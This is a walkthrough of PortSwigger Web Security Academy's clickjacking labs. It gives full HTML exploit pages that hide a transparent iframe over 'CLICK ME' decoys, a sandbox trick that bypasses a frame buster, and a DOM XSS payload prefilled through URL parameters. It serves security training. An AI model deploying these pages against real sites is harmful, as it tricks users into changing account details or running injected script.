Walk-through of the Clickjacking lab on PortSwigger Web Security Academy.
Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.
- Apprentice – Basic clickjacking with CSRF token protection
- Apprentice – Clickjacking with form input data prefilled from a URL parameter
- Apprentice – Clickjacking with a frame buster script
- Practitioner – Exploiting clickjacking vulnerability to trigger DOM-based XSS
- Practitioner – Multistep clickjacking
Apprentice – Basic clickjacking with CSRF token protection
- Click on My account and enter provided credentials (wiener:peter).
- Click on Go to exploit server.
- Enter the following code in the Body and click Deliver exploit to victim.
<html>
<head>
<title>Clickjacking test page</title>
<style>
#target_website {
position: relative;
width: 1000px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
#decoy_website {
position: absolute;
top: 515px;
left: 60px;
z-index: 1;
}
</style>
</head>
<body>
<div id="decoy_website">CLICK ME</div>
<iframe id="target_website" src="https://vulnerable-website/my-account" scrolling="no" frameborder="none"/>
</body>
</html>Apprentice – Clickjacking with form input data prefilled from a URL parameter
Click on My account and enter provided credentials (wiener:peter).
Update the email address and inspect the request in Burp.
POST /my-account/change-email HTTP/1.1
...
email=test%40test.com&csrf=6e4BOwhzCWbOrOs5deKwGjY1wKwYdcPVTry to prefill the email field by adding the email parameter in the URL.
https://0a3a001b03066c76c1f1dfdb00c10020.web-security-academy.net/my-account?email=hacked@example.comClick on Go to exploit server. Enter the following code in the Body and click Deliver exploit to victim.
<html>
<head>
<title>Clickjacking test page</title>
<style>
#target_website {
position: relative;
width: 1000px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
#decoy_website {
position: absolute;
top: 470px;
left: 60px;
z-index: 1;
}
</style>
</head>
<body>
<div id="decoy_website">CLICK ME</div>
<iframe id="target_website" src="https://0a1a0071040d6ad5c1695450004500d8.web-security-academy.net/my-account?email=hacked@example.com" scrolling="no" frameborder="none"/>
</body>
</html>Apprentice – Clickjacking with a frame buster script
Click on My account and enter provided credentials (wiener:peter).
Click on Go to exploit server. Enter the following code in the Body and click Deliver exploit to victim.
<html>
<head>
<title>Clickjacking test page</title>
<style>
#target_website {
position: relative;
width: 1000px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
#decoy_website {
position: absolute;
top: 470px;
left: 60px;
z-index: 1;
}
</style>
</head>
<body>
<div id="decoy_website">CLICK ME</div>
<iframe id="target_website" src="https://0a3a000f0381171ec291980500d10054.web-security-academy.net/my-account?email=hacked@example.com" sandbox="allow-forms" scrolling="no" frameborder="none"/>
</body>
</html>Practitioner – Exploiting clickjacking vulnerability to trigger DOM-based XSS
Finding the DOM XSS
Click on the Submit feedback link. The script /resources/js/submitFeedback.js is vulnerable to a DOM XSS in the displayFeedbackMessage(name) function using the innerHTML sink. See lab on DOM XSS.
feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";Submit feedback with Name:
<img src=1 onerror=print()>Try to prefill the form.
https://0adf004d037fe819c280ad430066003b.web-security-academy.net/feedback?csrf=KkYYGddkHD77GgKXfhFezt4NZMOEroCH&name=whatever%3Cimg+src%3D1+onerror%3Dprint%28%29%3E&email=whatever%40example.com&subject=whatever&message=whateverClick on Go to exploit server. Enter the following code in the Body and click Deliver exploit to victim. Remove the csrf token. It will be filled when the user accesses the page.
<html>
<head>
<title>Clickjacking test page</title>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.1;
z-index: 2;
}
#decoy_website {
position: absolute;
top: 810px;
left: 60px;
z-index: 1;
}
</style>
</head>
<body>
<div id="decoy_website">CLICK ME</div>
<iframe id="target_website" src="https://0adf004d037fe819c280ad430066003b.web-security-academy.net/feedback?name=whatever%3Cimg+src%3D1+onerror%3Dprint%28%29%3E&email=whatever%40example.com&subject=whatever&message=whatever" scrolling="no" frameborder="none"/>
</body>
</html>Practitioner – Multistep clickjacking
Click on My account and enter provided credentials (wiener:peter).
Click on Go to exploit server. Enter the following code in the Body and click Deliver exploit to victim.
<html>
<head>
<title>Clickjacking test page</title>
<style>
#target_website {
position: relative;
width: 1000px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
#decoy_website_first_click {
position: absolute;
top: 515px;
left: 60px;
z-index: 1;
}
#decoy_website_second_click {
position: absolute;
top: 310px;
left: 200px;
z-index: 1;
}
</style>
</head>
<body>
<div id="decoy_website_first_click">Click me first</div>
<div id="decoy_website_second_click">Click me next</div>
<iframe id="target_website" src="https://0a5b00390335fd50c06072000084000e.web-security-academy.net/my-account" scrolling="no" frameborder="none"/>
</body>
</html>